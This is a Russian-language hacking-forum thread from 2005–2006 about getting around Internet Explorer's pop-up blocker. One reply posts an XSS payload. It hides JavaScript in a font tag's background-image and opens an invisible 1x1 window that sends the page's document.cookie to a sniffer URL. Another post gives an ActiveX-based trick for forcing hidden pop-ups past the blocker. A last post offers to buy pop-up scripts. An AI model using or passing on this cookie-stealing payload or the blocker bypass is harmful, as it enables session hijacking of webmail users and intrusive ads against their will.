PDA

Просмотр полной версии : Pop-up окна в IE

Майор
01.04.2005, 19:58
Щас существует способ открытия таких в Ie ?
KEZ
01.04.2005, 20:04
Причем тут программирование?
HTML... javascript...
я непомню уже, не делал, но вроде чето типа javascript:popup() в инете есть по любому
Майор
01.04.2005, 20:10
Причем тут программирование?
HTML... javascript...
я непомню уже, не делал, но вроде чето типа javascript:popup() в инете есть по любому
я знаю как открыть такое окно(window.open), но речь о том как обойти блокировку в EI
А к программированию это относиться - потому что реализуется с помошью javascript
Че Гевара
01.04.2005, 21:19
Хмм ... Смею предположить, что это тебе нужно для проведения xss на почтовых веб-фейсах ))
Попробуй например это (хотя оно заблокируется):

<font color="black" style=background-image:url(JavaScript:window.open('http://antichat.ru/cgi-bin/s.jpg?'+document.cookie,'name_popup','location,wid th=1,height=1,top=9999,left=9999,scrollbar=0')) size=1>text</font>

Этот пример открывает попап размерами 1*1 вне видимой зоны экраны и загружает урл сниффера + кукисы текущего документа ...


<оффтопик>
Система блокирования всплывающих окон работает по принципу блокирования метода open(), связанного с объектом window, если я не ошибаюсь ... А методов обхода я не вижу ...
Возможная идея - это загрузка файла *.js как картинки в документе ... Возможно, что тогда окно не будет блокировано, т.к. вызывается он через картинку ...
Это только догадка ...
</oффтопик>
KEZ
01.04.2005, 22:16
Если уж они отключены то обойти нельзя...
Майор
01.04.2005, 22:38
догадка не оправдалась, в картинку такие файлы не грузятся :(
а в Firefox такие окна блокируюься ?
Майор
02.04.2005, 00:24
:) откопал в нете, но только в IE


<html><body onload="setTimeout(' main() ',1000)">
<object id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="1" height="1" align="middle" border=0 scrollbar=no scrolling=no>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>
<SCRIPT>
function shellscript()
{
open("http://www.mail.ru","new_window","toolbar=0,location=0,status=0,menubar=0,scrollbars =0,resizable=0,width=5,height=5,top=1,left=1");
showModelessDialog("http://www.mail.ru","new_window","dialogWidth=1;dialogHeight=1;scroll=0;dialogTop=0; dialogLeft=900;dialogHide=0;help=0;status=0;resiza ble=0");
}
function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
}
</SCRIPT></html>
Че Гевара
03.04.2005, 14:00
:) откопал в нете, но только в IE


<html><body onload="setTimeout(' main() ',1000)">
<object id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="1" height="1" align="middle" border=0 scrollbar=no scrolling=no>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>
<SCRIPT>
function shellscript()
{
open("http://www.mail.ru","new_window","toolbar=0,location=0,status=0,menubar=0,scrollbars =0,resizable=0,width=5,height=5,top=1,left=1");
showModelessDialog("http://www.mail.ru","new_window","dialogWidth=1;dialogHeight=1;scroll=0;dialogTop=0; dialogLeft=900;dialogHide=0;help=0;status=0;resiza ble=0");
}
function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
}
</SCRIPT></html>


Осёл скорее ActiveX заблокирует ИМХО =))
inferno[DGT]
28.10.2006, 03:59
Есть у кого еще JavaScript консольки для Pop-up и Pop-exit ?
Если консоль хорошая, могу купить. ICQ 402136